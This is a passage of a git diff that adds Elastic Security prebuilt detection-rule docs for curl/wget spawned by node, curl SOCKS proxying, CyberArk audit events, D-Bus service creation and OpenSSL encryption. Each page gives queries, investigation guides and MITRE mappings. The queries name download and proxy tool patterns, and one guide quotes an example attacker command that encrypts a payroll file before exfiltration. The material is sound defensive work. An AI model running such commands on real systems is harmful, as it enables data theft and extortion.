https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.parent.name in ("node", "bun", "node.exe", "bun.exe") and ( +( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "cmd.exe", "bash.exe", "powershell.exe") and + process.command_line like~ ("*curl*http*", "*wget*http*") +) or +( + process.name in ("curl", "wget", "curl.exe", "wget.exe") +) +) and not ( + process.command_line like ("*127.0.0.1*", "*localhost*", "*/home/*/.claude/shell-snapshots/*", "*/root/.claude/shell-snapshots/snapshot*", "*/Users/*/.claude/shell-snapshots/*") or + process.parent.executable like ("/*/.cursor-server/*node", "/home/*/cursor-agent/*/node") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-socks-proxy-activity-from-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-socks-proxy-activity-from-unusual-parent.asciidoc new file mode 100644 index 0000000000..61a5cc3f18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-socks-proxy-activity-from-unusual-parent.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-curl-socks-proxy-activity-from-unusual-parent]] +=== Curl SOCKS Proxy Activity from Unusual Parent + +This rule detects the use of the "curl" command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use "curl" to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl SOCKS Proxy Activity from Unusual Parent* + + +Curl is a versatile command-line tool used for transferring data with URLs, often employed for legitimate data retrieval. However, adversaries can exploit its SOCKS proxy capabilities to bypass network restrictions, facilitating covert data exfiltration or communication with command and control servers. The detection rule identifies suspicious curl executions initiated by atypical parent processes, such as those from temporary directories or shell environments, combined with SOCKS proxy arguments, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the parent process details to understand the context of the curl execution, focusing on unusual directories like /dev/shm, /tmp, or shell environments such as bash or zsh. +- Examine the command-line arguments used with curl, specifically looking for SOCKS proxy options like --socks5-hostname or -x, to determine the intent and destination of the network request. +- Investigate the environment variables set for the process, such as http_proxy or HTTPS_PROXY, to identify any proxy configurations that might indicate an attempt to bypass network restrictions. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it might be compromised. +- Analyze network logs to trace the destination IP addresses or domains contacted via the SOCKS proxy to assess if they are known malicious or suspicious entities. +- Correlate this activity with other alerts or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Development environments may frequently use curl with SOCKS proxy options for legitimate testing purposes. To manage this, consider excluding specific development directories or user accounts from the rule. +- Automated scripts or cron jobs running from shell environments might use curl with SOCKS proxies for routine data retrieval. Identify these scripts and exclude their parent processes or specific arguments from triggering the rule. +- System administrators might use curl with SOCKS proxies for network diagnostics or maintenance tasks. Document these activities and create exceptions for known administrative accounts or specific command patterns. +- Web applications hosted in directories like /var/www/html may use curl for backend operations involving SOCKS proxies. Review these applications and whitelist their specific processes or arguments if they are verified as non-threatening. +- Temporary directories such as /tmp or /dev/shm might be used by legitimate software for transient operations involving curl. Monitor these occurrences and exclude known benign software from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or communication with command and control servers. +- Terminate any suspicious curl processes identified by the detection rule to halt potential malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or additional malicious processes. +- Review and clean up any unauthorized or suspicious files in temporary directories or other unusual locations, such as /dev/shm, /tmp, or /var/tmp, to remove potential threats. +- Reset credentials and review access logs for any accounts that may have been compromised or used in conjunction with the detected activity. +- Implement network monitoring to detect and block any further attempts to use SOCKS proxy connections from unauthorized sources. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "curl" and ( + process.parent.executable like ( + "/dev/shm/*", "/tmp/*", "/var/tmp/*", "/var/run/*", "/root/*", "/boot/*", "/var/www/*", "/opt/.*", + "/home/*" + ) or + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") or + process.parent.name like ".*" +) and ( + process.args like ("--socks5-hostname", "--proxy", "--preproxy", "socks5*") or + process.args == "-x" or + process.env_vars like~ ("http_proxy=socks5h://*", "HTTPS_PROXY=socks5h://*", "ALL_PROXY=socks5h://*") +) and not ( + process.parent.args == "/opt/rudder/share/commands/agent-run" or + process.args == "http://localhost:8080/rudder/api/status" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-error.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-error.asciidoc new file mode 100644 index 0000000000..e357af7600 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-error.asciidoc @@ -0,0 +1,85 @@ +[[prebuilt-rule-8-19-34-cyberark-privileged-access-security-error]] +=== CyberArk Privileged Access Security Error + +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-cyberarkpas.audit* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3 + +*Tags*: + +* Data Source: CyberArk PAS +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Domain: Identity + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for CyberArk error events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:cyberarkpas.audit and event.type:error + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-recommended-monitor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-recommended-monitor.asciidoc new file mode 100644 index 0000000000..8f7d1d11eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cyberark-privileged-access-security-recommended-monitor.asciidoc @@ -0,0 +1,105 @@ +[[prebuilt-rule-8-19-34-cyberark-privileged-access-security-recommended-monitor]] +=== CyberArk Privileged Access Security Recommended Monitor + +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-cyberarkpas.audit* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3#RecommendedActionCodesforMonitoring + +*Tags*: + +* Data Source: CyberArk PAS +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Identity + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for CyberArk events, which the vendor recommends should be monitored. +Consult vendor documentation on interpreting specific events. + +==== Setup + + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:cyberarkpas.audit and + event.code:(4 or 22 or 24 or 31 or 38 or 57 or 60 or 130 or 295 or 300 or 302 or + 308 or 319 or 344 or 346 or 359 or 361 or 378 or 380 or 411) and + not event.type:error + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-d-bus-service-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-d-bus-service-created.asciidoc new file mode 100644 index 0000000000..b18ccb9fb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-d-bus-service-created.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-d-bus-service-created]] +=== D-Bus Service Created + +This rule detects the creation of D-Bus service files on Linux systems. D-Bus is a message bus system that provides a way for applications to talk to one another. D-Bus services are defined in service files that are typically located in default directories. The rule looks for the creation of service files that are not associated with known package managers or system services. Attackers may create malicious D-Bus services to establish persistence or escalate privileges on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating D-Bus Service Created* + + +D-Bus is an inter-process communication system in Linux, enabling applications to communicate. Adversaries may exploit D-Bus by creating unauthorized service files to maintain persistence or escalate privileges. The detection rule identifies suspicious service file creations in key directories, excluding known legitimate processes, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm if the created file is located in one of the monitored directories such as /usr/share/dbus-1/system-services/ or /etc/dbus-1/system.d/, and ensure it has a .service or .conf extension. +- Examine the process executable that created the file to determine if it is listed as a known legitimate process in the exclusion list. If not, investigate the process further to understand its origin and purpose. +- Check the process name and path for any unusual or unexpected patterns, especially if it is not part of the known exclusions like ssm-agent-worker or platform-python*. +- Investigate the file creation time and correlate it with other system activities or logs to identify any suspicious behavior or patterns around the time of the alert. +- Look into the user account associated with the process that created the file to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Search for any related alerts or logs that might indicate a broader attack pattern, such as other unauthorized file creations or modifications in the system. + + +*False positive analysis* + + +- Package manager operations can trigger false positives when legitimate service files are created during software installations or updates. To manage this, exclude processes associated with known package managers like dpkg, rpm, and yum from the detection rule. +- System service updates may also result in false positives. Exclude processes such as systemd and crond that are responsible for legitimate system service management. +- Development and testing environments often involve the creation of temporary or test service files. Exclude paths and processes specific to these environments, such as those under /tmp or /dev/fd, to reduce noise. +- Automation tools like Puppet and Chef can create service files as part of their configuration management tasks. Exclude these tools by adding their executable paths to the exception list. +- Custom scripts or tools that mimic package manager behavior might also cause false positives. Identify and exclude these specific scripts or tools by their process names or paths if they are known to be benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes associated with the creation of unauthorized D-Bus service files to halt potential malicious activity. +- Remove any unauthorized D-Bus service files identified in the specified directories to eliminate persistence mechanisms. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized privilege escalation has occurred. +- Restore the system from a known good backup if unauthorized changes or damage to the system are detected. +- Monitor the system and network for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("service", "conf") and file.path like ( + "/usr/share/dbus-1/system-services/*", "/etc/dbus-1/system.d/*", + "/lib/dbus-1/system-services/*", "/run/dbus/system.d/*", + "/home/*/.local/share/dbus-1/services/*", "/home/*/.dbus/session-bus/*", + "/usr/share/dbus-1/services/*", "/etc/dbus-1/session.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "./usr/bin/podman", "/.envbuilder/bin/envbuilder" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name like ( + "ssm-agent-worker", "platform-python*", "dnf_install", "cloudflared", "lxc-pve-prestart-hook", + "convert-usrmerge", "elastic-agent", "google_metadata_script_runner", "update-alternatives", "gitlab-runner", + "install", "crio", "apt-get", "package-cleanup", "dcservice", "dcregister", "jumpcloud-agent", "executor" + ) or + (process.name == "sed" and file.name like "sed*") or + (process.name == "perl" and file.name like "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-data-encrypted-via-openssl-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-data-encrypted-via-openssl-utility.asciidoc new file mode 100644 index 0000000000..4b2f0f54bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-data-encrypted-via-openssl-utility.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-data-encrypted-via-openssl-utility]] +=== Data Encrypted via OpenSSL Utility + +Identifies the execution of the OpenSSL utility to encrypt data. Adversaries may use OpenSSL to encrypt data to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Collection +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Data Encrypted via OpenSSL Utility* + + +This rule flags the OpenSSL command-line tool when it starts encrypting a file with explicit input and output paths, a pattern that can indicate an attempt to hide or lock data. An attacker on Linux or macOS might run `openssl enc -aes-256-cbc -in /home/shared/payroll.csv -out /tmp/payroll.csv.enc` to encrypt collected documents before staging them for exfiltration or to prepare data for a ransomware-style extortion event. + + +*Possible investigation steps* + + +- Review the full OpenSSL invocation to identify the cipher used, the source and destination file paths, whether a password or key was supplied inline or via script, and whether the targeted data is business-critical or user-owned. +- Trace the parent and ancestor execution chain to determine whether the activity originated from an approved administrative workflow or from unusual launch points such as interactive shells, remote access tools, scheduled tasks, temporary folders, or user download locations. +- Scope adjacent file activity on the host to see whether this was a single expected encryption task or part of a wider pattern of mass file reads, encrypted output creation, original file deletion, or access to shared drives and sensitive repositories. +- Investigate the initiating account and system for precursor signs of compromise, including recent suspicious logons, privilege escalation, script execution, tool transfer, or other activity that is inconsistent with the user’s normal administrative behavior. +- Search for follow-on actions that would raise ransomware or exfiltration concern, such as archive creation, outbound network transfers, ransom note drops, service stoppage, shadow copy removal, or attempts to disable security controls. + + +*False positive analysis* + + +- Administrators may use `openssl enc -in ... -out ...` in backup or file-transfer scripts to protect exports, archives, or configuration bundles; verify the parent script or scheduled task, the service account, and the source and destination paths align with a documented maintenance workflow. +- Developers or support personnel may encrypt test data sets or collected logs before sharing them internally for troubleshooting; verify the initiating user’s role, confirm the files are expected non-production artifacts, and check for a related change or support activity during the same time window. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network and disconnect mapped drives or mounted shares to stop further encryption while preserving the OpenSSL binary, shell history, encrypted output files, and any wrapper scripts as evidence. +- Remove attacker persistence by deleting malicious Scheduled Tasks, cron jobs, systemd services, launch agents, startup items, and scripts that invoked `openssl enc`, and quarantine any copied tools or payloads found in temporary or user-writable directories. +- Reset passwords, revoke active sessions and tokens, and rotate SSH keys or service-account secrets associated with the compromised host or user if the encryption activity was launched from an interactive shell, remote access session, or automation account. +- Restore impacted files from known-good offline or immutable backups and rebuild or reimage the system if core binaries, startup locations, or security tools were modified, validating restored data before returning the host to production. +- Escalate immediately to incident response if encrypted files were written to shared storage, similar OpenSSL commands appear on multiple hosts, ransom notes or extortion messages are present, or backup repositories and domain-admin accounts may be affected. +- Harden the environment by restricting OpenSSL execution to approved admins and paths, enforcing application allowlisting, limiting write access to sensitive shares, disabling unused remote administration tools, and adding detections for mass file encryption and shadow-copy or backup tampering. + + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("start", "exec", "executed", "exec_event", "ProcessRollup2") and +process.name : "openssl*" and process.args : "enc" and process.args : "-in" and process.args : "-out" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ diff --git 